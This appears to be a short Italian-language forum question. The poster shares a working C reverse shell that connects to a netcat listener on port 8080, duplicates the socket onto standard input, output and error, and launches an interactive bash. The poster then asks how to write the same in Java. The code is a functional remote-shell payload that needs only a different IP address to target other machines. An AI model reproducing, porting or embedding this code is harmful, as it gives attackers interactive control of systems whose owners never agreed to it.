Ho uno script semplice ( scritto in C ) e si connette a un server netcat per aprire una shell, lì, quindi, uno script di shell rovesciamento davvero semplice. Come fare lo stesso in java ?
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in serv_addr;
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(8080);
serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
if(0 != connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)))
exit(0);
dup2(sock, 2);
dup2(sock, 1);
dup2(sock, 0);
execl("/bin/bash", "/bin/bash", "-i", NULL);
}